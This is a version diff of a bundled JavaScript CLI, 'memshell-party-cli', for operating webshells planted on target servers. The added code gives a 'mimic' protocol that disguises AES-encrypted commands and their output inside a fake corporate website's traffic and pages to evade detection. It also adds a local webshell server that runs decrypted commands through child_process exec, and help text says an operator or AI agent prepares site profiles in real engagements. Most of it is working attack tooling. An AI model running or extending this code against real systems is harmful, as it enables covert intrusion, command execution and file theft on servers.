memshell-party-cli 0.3.3 → 0.4.0

package/dist/cli.js

@@ -508,15 +508,25 @@ function postRaw(url, body, options = {}) {
   if (!isHttps && target.protocol !== "http:") {
     return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
   }
+  let proxy = null;
+  if (!isHttps && process.env.MEMPARTY_PROXY) {
+    try {
+      proxy = new URL(process.env.MEMPARTY_PROXY);
+    } catch {
+      return Promise.reject(
+        new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url)
+      );
+    }
+  }
   return new Promise((resolve2, reject) => {
     const started = Date.now();
     const transport = isHttps ? https : http;
     const req = transport.request(
       {
         method: "POST",
-        hostname: target.hostname,
-        port: target.port || (isHttps ? 443 : 80),
-        path: `${target.pathname}${target.search}`,
+        hostname: proxy ? proxy.hostname : target.hostname,
+        port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),
+        path: proxy ? target.toString() : `${target.pathname}${target.search}`,
         // agent:false — never reuse a pooled socket. A shell server may close
         // the connection right after an empty response, and reusing such a
         // socket surfaces as a spurious ECONNRESET on the next probe.
@@ -1491,18 +1501,434 @@ async function testSuo5(url, options = {}) {
   };
 }
 
-// src/core/oplog.ts
-import { appendFileSync, existsSync, mkdirSync, readFileSync as readFileSync2 } from "fs";
+// src/connect/mimic.ts
+import { randomInt as randomInt2 } from "crypto";
+
+// src/core/site-profile.ts
+import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
 import { homedir as homedir2 } from "os";
-import { dirname, join as join2 } from "path";
+import { join as join2 } from "path";
+function profileTemplates(profile) {
+  if (Array.isArray(profile.templates) && profile.templates.length > 0) {
+    return profile.templates;
+  }
+  if (profile.template) {
+    return [
+      {
+        title: profile.title ?? "",
+        template: profile.template,
+        contentType: profile.contentType ?? "text/html; charset=utf-8"
+      }
+    ];
+  }
+  return [];
+}
+function profileRequests(profile) {
+  if (!profile.request) return [];
+  return Array.isArray(profile.request) ? profile.request : [profile.request];
+}
+function pickRequestShape(requests) {
+  if (requests.length === 0) return void 0;
+  const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
+  let roll = Math.random() * total;
+  for (const r of requests) {
+    roll -= r.weight ?? 1;
+    if (roll <= 0) return r;
+  }
+  return requests[requests.length - 1];
+}
+var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
+function profilesDir() {
+  const override = process.env.MEMPARTY_PROFILES;
+  return override ? override : join2(homedir2(), ".memparty", "profiles");
+}
+function profilePath(name) {
+  return join2(profilesDir(), `${name}.json`);
+}
+function validateProfile(profile) {
+  if (!NAME_RE.test(profile.name)) {
+    throw new Error(
+      `invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
+    );
+  }
+  if (!profile.site || !/^https?:\/\//.test(profile.site)) {
+    throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
+  }
+  const templates = profileTemplates(profile);
+  if (templates.length === 0) {
+    throw new Error("profile needs at least one template (templates[] or legacy template)");
+  }
+  templates.forEach((t, i) => {
+    if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
+      throw new Error(`templates[${i}].template must be a full HTML page`);
+    }
+    if (!t.contentType) {
+      throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
+    }
+  });
+  if (!Array.isArray(profile.paths)) {
+    throw new Error("profile.paths must be an array (may be empty)");
+  }
+  for (const [ri, req] of profileRequests(profile).entries()) {
+    if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
+      throw new Error(`request[${ri}].secretField must be a form-field name`);
+    }
+    if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
+      throw new Error(`request[${ri}].secretIn must be body | query | header`);
+    }
+    for (const [i, f] of (req.fields ?? []).entries()) {
+      if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
+        throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
+      }
+      if (f.name === req.secretField) {
+        throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
+      }
+    }
+  }
+}
+function saveProfile(profile) {
+  validateProfile(profile);
+  const dir = profilesDir();
+  mkdirSync(dir, { recursive: true });
+  writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
+`, "utf8");
+}
+function loadProfile(name) {
+  const path = profilePath(name);
+  if (!existsSync(path)) {
+    throw new Error(
+      `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
+    );
+  }
+  const profile = JSON.parse(readFileSync2(path, "utf8"));
+  validateProfile(profile);
+  return profile;
+}
+function listProfiles() {
+  const dir = profilesDir();
+  if (!existsSync(dir)) return [];
+  return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
+}
+function profileSkeleton(name, site) {
+  return {
+    name,
+    site: site.replace(/\/+$/, ""),
+    createdAt: (/* @__PURE__ */ new Date()).toISOString(),
+    templates: [
+      {
+        title: "",
+        template: '<!DOCTYPE html>\n<html>\n<head>\n<meta charset="UTF-8">\n<title></title>\n</head>\n<body>\n</body>\n</html>\n',
+        contentType: "text/html; charset=utf-8"
+      }
+    ],
+    paths: []
+  };
+}
+
+// src/connect/mimic-shared.ts
+import { randomBytes as randomBytes3, randomInt, randomUUID } from "crypto";
+function deriveAesKey(secretKey) {
+  return md5Key16(secretKey);
+}
+function renderFieldValue(value) {
+  return value.replaceAll(
+    /\{\{hex:(\d+)\}\}/g,
+    (_m, n) => randomBytes3(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
+  ).replaceAll(
+    /\{\{b64:(\d+)\}\}/g,
+    (_m, n) => randomBytes3(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
+  ).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
+    /\{\{int:(\d+):(\d+)\}\}/g,
+    (_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
+  );
+}
+function deriveLeftMarker(pass, secretKey) {
+  return `var Re${md5Hex(pass + secretKey).slice(0, 5)}_config="`;
+}
+var RIGHT_MARKER = '";';
+function encryptField(plaintext, aesKey) {
+  return aesEcbEncrypt(plaintext, aesKey).toString("base64");
+}
+function decryptField(b64, aesKey) {
+  return aesEcbDecrypt(Buffer.from(b64, "base64"), aesKey);
+}
+function buildFormBody(fields) {
+  return Buffer.from(
+    fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
+    "utf8"
+  );
+}
+function decodeRequestBody(body, pass, aesKey) {
+  const text = body.toString("utf8");
+  for (const pair of text.split("&")) {
+    const eq = pair.indexOf("=");
+    if (eq <= 0) continue;
+    if (pair.slice(0, eq) !== pass) continue;
+    const value = decodeURIComponent(pair.slice(eq + 1));
+    try {
+      return decryptField(value, aesKey);
+    } catch {
+      return null;
+    }
+  }
+  return null;
+}
+function injectIntoTemplate(templateHtml, b64Cipher, leftMarker) {
+  const script = `<script>${leftMarker}${b64Cipher}${RIGHT_MARKER}</script>`;
+  const idx = templateHtml.toLowerCase().lastIndexOf("</body>");
+  if (idx === -1) return templateHtml + script;
+  return templateHtml.slice(0, idx) + script + templateHtml.slice(idx);
+}
+function extractFromHtml(html, leftMarker) {
+  const start = html.indexOf(leftMarker);
+  if (start === -1) return null;
+  const valueStart = start + leftMarker.length;
+  const end = html.indexOf(RIGHT_MARKER, valueStart);
+  if (end === -1) return null;
+  return html.slice(valueStart, end);
+}
+
+// src/connect/mimic.ts
+var BROWSER_HEADERS = {
+  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
+  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+  "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
+  "Content-Type": "application/x-www-form-urlencoded"
+};
+function buildContext(req) {
+  const pass = req.conn.pass ?? "pass";
+  const secretKey = req.conn.key ?? "key";
+  let profile;
+  const profileName = req.options.profile ?? req.conn.profile;
+  if (profileName) {
+    profile = loadProfile(profileName);
+  }
+  return {
+    pass,
+    aesKey: deriveAesKey(secretKey),
+    leftMarker: deriveLeftMarker(pass, secretKey),
+    profile,
+    dynamicPath: req.options.dynamicPath ?? false
+  };
+}
+function pickRequestUrl(connUrl, ctx) {
+  if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
+    return connUrl;
+  }
+  const origin = new URL(connUrl).origin;
+  const dir = ctx.profile.paths[randomInt2(ctx.profile.paths.length)];
+  const slug = randomString(8).toLowerCase();
+  return `${origin}${dir}${slug}`;
+}
+async function roundTrip(req, ctx, plaintext) {
+  let requestUrl = pickRequestUrl(req.conn.url, ctx);
+  const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
+  const secretField = shape?.secretField ?? ctx.pass;
+  const secretIn = shape?.secretIn ?? "body";
+  const cipher = encryptField(Buffer.from(plaintext, "utf8"), ctx.aesKey);
+  const decoys = (shape?.fields ?? []).map((f) => ({
+    name: f.name,
+    value: renderFieldValue(f.value)
+  }));
+  let body;
+  const extraHeaders = {};
+  if (secretIn === "query") {
+    const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
+    requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
+    body = Buffer.alloc(0);
+  } else if (secretIn === "header") {
+    extraHeaders[secretField] = cipher;
+    body = buildFormBody(decoys);
+  } else {
+    body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
+  }
+  const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
+  let res;
+  try {
+    res = await postRaw(requestUrl, body, {
+      headers,
+      timeoutMs: req.common.timeoutMs,
+      insecure: req.common.insecure
+    });
+  } catch (err) {
+    return {
+      ok: false,
+      error: err instanceof Error ? err.message : String(err),
+      requestUrl,
+      status: 0,
+      durationMs: 0
+    };
+  }
+  if (res.status !== 200) {
+    return {
+      ok: false,
+      error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
+      requestUrl,
+      status: res.status,
+      durationMs: res.durationMs
+    };
+  }
+  const b64 = extractFromHtml(res.body.toString("utf8"), ctx.leftMarker);
+  if (b64 === null) {
+    return {
+      ok: false,
+      error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
+      requestUrl,
+      status: res.status,
+      durationMs: res.durationMs
+    };
+  }
+  try {
+    const output = decryptField(b64, ctx.aesKey).toString("utf8");
+    return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
+  } catch {
+    return {
+      ok: false,
+      error: "response decryption failed \u2014 wrong key?",
+      requestUrl,
+      status: res.status,
+      durationMs: res.durationMs
+    };
+  }
+}
+var mimicProtocol = {
+  name: "mimic",
+  description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
+  async test(req) {
+    const started = Date.now();
+    const tool = "mimic";
+    const url = req.conn.url;
+    let ctx;
+    try {
+      ctx = buildContext(req);
+    } catch (err) {
+      return {
+        ok: false,
+        tool,
+        url,
+        error: err instanceof Error ? err.message : String(err),
+        durationMs: Date.now() - started
+      };
+    }
+    const canary = randomString(12);
+    const r = await roundTrip(req, ctx, `echo ${canary}`);
+    if (!r.ok) {
+      return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
+    }
+    if (!r.output.includes(canary)) {
+      return {
+        ok: false,
+        tool,
+        url,
+        error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
+        durationMs: Date.now() - started
+      };
+    }
+    const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
+    const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
+    return {
+      ok: true,
+      tool,
+      url,
+      detail: `round-trip ok (${profileNote}; ${pathNote})`,
+      durationMs: Date.now() - started
+    };
+  },
+  async exec(req, command) {
+    const started = Date.now();
+    const tool = "mimic";
+    const url = req.conn.url;
+    let ctx;
+    try {
+      ctx = buildContext(req);
+    } catch (err) {
+      return {
+        ok: false,
+        tool,
+        url,
+        command,
+        error: err instanceof Error ? err.message : String(err),
+        durationMs: Date.now() - started
+      };
+    }
+    const r = await roundTrip(req, ctx, command);
+    if (!r.ok) {
+      return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
+    }
+    return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
+  }
+};
+
+// src/connect/registry.ts
+var protocols = /* @__PURE__ */ new Map();
+function registerProtocol(protocol) {
+  protocols.set(protocol.name, protocol);
+}
+function getProtocol(name) {
+  return protocols.get(name);
+}
+function protocolNames(capability) {
+  const all = [...protocols.values()];
+  const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
+  return usable.map((p) => p.name);
+}
+function requireProtocol(name) {
+  const protocol = getProtocol(name);
+  if (!protocol) {
+    throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
+  }
+  return protocol;
+}
+function unsupportedMessage(protocol, capability) {
+  return `protocol '${protocol.name}' does not support ${capability}`;
+}
+var godzillaProtocol = {
+  name: "godzilla",
+  description: "Godzilla JAVA_AES_BASE64 shell",
+  test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
+  exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
+    ...common,
+    os: options.os
+  }),
+  upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
+    ...common,
+    remoteCharset: options.remoteCharset
+  }),
+  download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
+    ...common,
+    remoteCharset: options.remoteCharset
+  })
+};
+var behinderProtocol = {
+  name: "behinder",
+  description: "Behinder AES shell",
+  test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
+  exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
+  upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
+  download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
+};
+var suo5Protocol = {
+  name: "suo5",
+  description: "suo5 HTTP tunnel (connect test only)",
+  test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
+};
+registerProtocol(godzillaProtocol);
+registerProtocol(behinderProtocol);
+registerProtocol(suo5Protocol);
+registerProtocol(mimicProtocol);
+
+// src/core/oplog.ts
+import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
+import { homedir as homedir3 } from "os";
+import { dirname, join as join3 } from "path";
 var OUTPUT_LIMIT = 2e3;
 function opLogPath() {
-  return process.env.MEMPARTY_OPLOG ?? join2(homedir2(), ".memparty", "operations.jsonl");
+  return process.env.MEMPARTY_OPLOG ?? join3(homedir3(), ".memparty", "operations.jsonl");
 }
 function logOp(entry) {
   try {
     const file = opLogPath();
-    mkdirSync(dirname(file), { recursive: true });
+    mkdirSync2(dirname(file), { recursive: true });
     appendFileSync(file, `${JSON.stringify({ ts: (/* @__PURE__ */ new Date()).toISOString(), ...entry })}
 `);
   } catch {
@@ -1512,8 +1938,8 @@ function readOps(filter = {}) {
   let entries = [];
   try {
     const file = opLogPath();
-    if (existsSync(file)) {
-      for (const line of readFileSync2(file, "utf8").split("\n")) {
+    if (existsSync2(file)) {
+      for (const line of readFileSync3(file, "utf8").split("\n")) {
         const trimmed = line.trim();
         if (!trimmed) continue;
         try {
@@ -1558,25 +1984,25 @@ function formatOp(e) {
 }
 
 // src/core/targets.ts
-import { existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3, writeFileSync } from "fs";
-import { homedir as homedir3 } from "os";
-import { dirname as dirname2, join as join3 } from "path";
-var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
+import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
+import { homedir as homedir4 } from "os";
+import { dirname as dirname2, join as join4 } from "path";
+var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
 function checkName(kind, name) {
-  if (!NAME_RE.test(name)) {
+  if (!NAME_RE2.test(name)) {
     throw new Error(
       `invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
     );
   }
 }
 function targetStorePath() {
-  return process.env.MEMPARTY_TARGETS ?? join3(homedir3(), ".memparty", "targets.json");
+  return process.env.MEMPARTY_TARGETS ?? join4(homedir4(), ".memparty", "targets.json");
 }
 function listProjects() {
   try {
     const file = targetStorePath();
-    if (!existsSync2(file)) return {};
-    const data = JSON.parse(readFileSync3(file, "utf8"));
+    if (!existsSync3(file)) return {};
+    const data = JSON.parse(readFileSync4(file, "utf8"));
     if (data !== null && typeof data === "object" && !Array.isArray(data)) {
       return data;
     }
@@ -1589,8 +2015,8 @@ function getProject(name) {
 }
 function writeProjects(projects) {
   const file = targetStorePath();
-  mkdirSync2(dirname2(file), { recursive: true });
-  writeFileSync(file, `${JSON.stringify(projects, null, 2)}
+  mkdirSync3(dirname2(file), { recursive: true });
+  writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
 `, { mode: 384 });
 }
 function saveProjectMeta(name, meta) {
@@ -1697,7 +2123,8 @@ function autoSaveShell(conn) {
     headerName: conn.headerName,
     headerValue: conn.headerValue,
     extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
-    insecure: conn.insecure
+    insecure: conn.insecure,
+    profile: conn.profile
   });
   return `${projectName}/${shellName}`;
 }
@@ -1739,7 +2166,7 @@ function resolveConnection(ref, flags) {
     throw new Error("no URL \u2014 pass --url or a saved target name");
   }
   if (!tool) {
-    throw new Error("--tool is required (godzilla | behinder | suo5)");
+    throw new Error("--tool is required \u2014 see the command's --help for available protocols");
   }
   return {
     url,
@@ -1750,6 +2177,7 @@ function resolveConnection(ref, flags) {
     headerValue: flags.headerValue ?? stored?.headerValue,
     extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
     insecure: flags.insecure ?? stored?.insecure,
+    profile: flags.profile ?? stored?.profile,
     targetName
   };
 }
@@ -1768,10 +2196,8 @@ function parseExtraHeaders(lines) {
 }
 function registerConnectCommand(program) {
   program.command("connect").description(
-    "Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
-  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
-  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
+    "Test whether a deployed webshell is alive and the credentials work"
+  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key", "key").option(
     "--header-name <name>",
     "gate header name reported by gen (shellToolConfig.headerName)"
   ).option(
@@ -1779,15 +2205,17 @@ function registerConnectCommand(program) {
     "gate header value reported by gen (shellToolConfig.headerValue)"
   ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
     new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
-  ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
+  ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
     "after",
     `
 Examples:
   $ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\
-      --header-value qSGAJScj
+      --header-value my-secret-token
   $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
-      --header-value YdwTyuQr
+      --header-value my-secret-token
   $ memparty connect -u http://target/suo5.jsp -t suo5
+  $ memparty connect -u http://target/ -t mimic --pass pass --key key \\
+      --profile target-site --dynamic-path
   $ memparty connect web222                       # saved target, see 'memparty list'
   $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
 
@@ -1811,7 +2239,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
         headerName: opts.headerName,
         headerValue: opts.headerValue,
         extraHeaders: parseExtraHeaders(opts.header),
-        insecure: opts.insecure
+        insecure: opts.insecure,
+        profile: opts.profile
       });
     } catch (err) {
       reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -1826,21 +2255,18 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
       insecure: conn.insecure
     };
     let result;
-    switch (conn.tool) {
-      case "godzilla":
-        result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
-        break;
-      case "behinder":
-        result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
-        break;
-      case "suo5":
-        result = await testSuo5(conn.url, { ...common, mode: opts.suo5Mode });
-        break;
-      default:
-        process.stderr.write(`Error: unknown tool ${String(conn.tool)}
-`);
-        process.exitCode = 1;
-        return;
+    try {
+      const protocol = requireProtocol(conn.tool);
+      const options = {
+        suo5Mode: opts.suo5Mode,
+        profile: conn.profile,
+        dynamicPath: opts.dynamicPath
+      };
+      result = await protocol.test({ conn, common, options });
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+      return;
     }
     let savedAs;
     if (result.ok && conn.targetName === void 0 && opts.save !== false) {
@@ -1877,6 +2303,217 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
   });
 }
 
+// src/connect/mimic-server.ts
+import { exec } from "child_process";
+import http2 from "http";
+function tryDecrypt(b64, aesKey) {
+  try {
+    return decryptField(b64, aesKey);
+  } catch {
+    return null;
+  }
+}
+var SITE_TITLE = "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546";
+var NAV = `<nav><a href="/">\u9996\u9875</a> <a href="/products/">\u4EA7\u54C1\u4E2D\u5FC3</a> <a href="/news/">\u65B0\u95FB\u52A8\u6001</a> <a href="/about/">\u5173\u4E8E\u6211\u4EEC</a></nav>`;
+var PAGES = {
+  "/": `<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<meta charset="UTF-8">
+<title>${SITE_TITLE}</title>
+</head>
+<body>
+<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
+<main>
+<h2>\u8BA9\u4F01\u4E1A\u6570\u636E\u6D41\u52A8\u8D77\u6765</h2>
+<p>\u4E91\u67A2\u79D1\u6280\u4E3A\u4E2D\u578B\u4F01\u4E1A\u63D0\u4F9B\u6570\u636E\u96C6\u6210\u3001\u62A5\u8868\u53EF\u89C6\u5316\u4E0E\u6D41\u7A0B\u81EA\u52A8\u5316\u670D\u52A1\u3002</p>
+<ul>
+<li><a href="/products/yunetl.html">\u4E91\u67A2 ETL \u5E73\u53F0</a></li>
+<li><a href="/products/yunbi.html">\u4E91\u67A2 BI \u62A5\u8868</a></li>
+<li><a href="/news/2024/release-notes.html">2024 \u4EA7\u54C1\u53D1\u5E03\u8BF4\u660E</a></li>
+</ul>
+</main>
+<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280 \u4EACICP\u59072024000000\u53F7</footer>
+</body>
+</html>`,
+  "/products/": `<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<meta charset="UTF-8">
+<title>\u4EA7\u54C1\u4E2D\u5FC3 - \u4E91\u67A2\u79D1\u6280</title>
+</head>
+<body>
+<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
+<main><h2>\u4EA7\u54C1\u4E2D\u5FC3</h2><p>ETL / BI / \u6D41\u7A0B\u81EA\u52A8\u5316\u4E09\u5927\u4EA7\u54C1\u7EBF\u3002</p></main>
+<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
+</body>
+</html>`,
+  "/news/": `<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<meta charset="UTF-8">
+<title>\u65B0\u95FB\u52A8\u6001 - \u4E91\u67A2\u79D1\u6280</title>
+</head>
+<body>
+<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
+<main><h2>\u65B0\u95FB\u52A8\u6001</h2><p>\u4E91\u67A2 ETL 3.2 \u53D1\u5E03\uFF0C\u65B0\u589E\u5B9E\u65F6\u540C\u6B65\u901A\u9053\u3002</p></main>
+<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
+</body>
+</html>`
+};
+var NOT_FOUND = `<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<meta charset="UTF-8">
+<title>\u9875\u9762\u4E0D\u5B58\u5728 - \u4E91\u67A2\u79D1\u6280</title>
+</head>
+<body>
+<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
+<main><h2>404</h2><p>\u60A8\u8BBF\u95EE\u7684\u9875\u9762\u4E0D\u5B58\u5728\u3002</p></main>
+<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
+</body>
+</html>`;
+var MOCK_HOMEPAGE = PAGES["/"];
+function runCommand(command, timeoutMs) {
+  return new Promise((resolve2) => {
+    exec(command, { timeout: timeoutMs, windowsHide: true }, (err, stdout, stderr) => {
+      if (err && !stdout && !stderr) {
+        resolve2(`command failed: ${err.message}`);
+        return;
+      }
+      resolve2(stdout + stderr);
+    });
+  });
+}
+async function startMimicServer(options = {}) {
+  const pass = options.pass ?? "pass";
+  const secretKey = options.secretKey ?? "key";
+  const aesKey = deriveAesKey(secretKey);
+  const leftMarker = deriveLeftMarker(pass, secretKey);
+  const execTimeoutMs = options.execTimeoutMs ?? 5e3;
+  const skin = PAGES["/"];
+  const server = http2.createServer((req, res) => {
+    if (req.method === "POST") {
+      const chunks = [];
+      req.on("data", (c) => chunks.push(c));
+      req.on("end", () => {
+        let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey);
+        if (command === null) {
+          const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
+          if (query) command = tryDecrypt(query, aesKey);
+        }
+        if (command === null) {
+          const header = req.headers[pass.toLowerCase()];
+          if (typeof header === "string") command = tryDecrypt(header, aesKey);
+        }
+        if (command === null) {
+          res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
+          res.end(NOT_FOUND);
+          return;
+        }
+        void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
+          const b64 = encryptField(Buffer.from(output, "utf8"), aesKey);
+          res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
+          res.end(injectIntoTemplate(skin, b64, leftMarker));
+        });
+      });
+      return;
+    }
+    const page = PAGES[req.url ?? "/"] ?? NOT_FOUND;
+    res.writeHead(PAGES[req.url ?? "/"] ? 200 : 404, {
+      "Content-Type": "text/html; charset=utf-8"
+    });
+    res.end(page);
+  });
+  await new Promise((resolve2) => server.listen(0, "127.0.0.1", resolve2));
+  const { port } = server.address();
+  return {
+    url: `http://127.0.0.1:${port}/`,
+    port,
+    close: () => new Promise((resolve2) => server.close(() => resolve2()))
+  };
+}
+
+// src/commands/demo.ts
+function demoProfile(site) {
+  return {
+    name: "demo",
+    site,
+    createdAt: (/* @__PURE__ */ new Date()).toISOString(),
+    templates: [
+      {
+        title: "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546",
+        template: MOCK_HOMEPAGE,
+        contentType: "text/html; charset=utf-8"
+      }
+    ],
+    paths: ["/products/", "/news/", "/about/"]
+  };
+}
+function registerDemoCommand(program) {
+  program.command("demo").description(
+    "Run the mimic protocol end-to-end locally: fake business site + profile + connect + one exec (no external traffic)"
+  ).option("--cmd <command>", "command to execute on the fake target", "whoami").option("--json", "output raw JSON").addHelpText(
+    "after",
+    `
+This is the reference walk-through for the mimic plugin:
+  1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it)
+  2. loads a hand-written site profile (in real engagements the operator
+     or AI agent writes it \u2014 see 'memparty profile init')
+  3. 'connect' does a credential round-trip using a dynamic path
+  4. 'exec' runs --cmd through the same channel
+Watch the printed request URL in step 3/4: it changes every run.
+`
+  ).action(async (opts, cmd) => {
+    const globals = cmd.optsWithGlobals();
+    const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
+    const log = (line) => {
+      if (!opts.json) process.stdout.write(`${line}
+`);
+    };
+    const server = await startMimicServer();
+    try {
+      log(`[1/4] fake business site up at ${server.url}`);
+      const profile = demoProfile(server.url.replace(/\/+$/, ""));
+      saveProfile(profile);
+      log(
+        `[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates[0].title)}, paths=[${profile.paths.join(", ")}], templates=${profile.templates.length}`
+      );
+      const protocol = getProtocol("mimic");
+      const conn = {
+        url: server.url,
+        tool: "mimic",
+        pass: "pass",
+        key: "key",
+        extraHeaders: {},
+        profile: "demo"
+      };
+      const common = { timeoutMs };
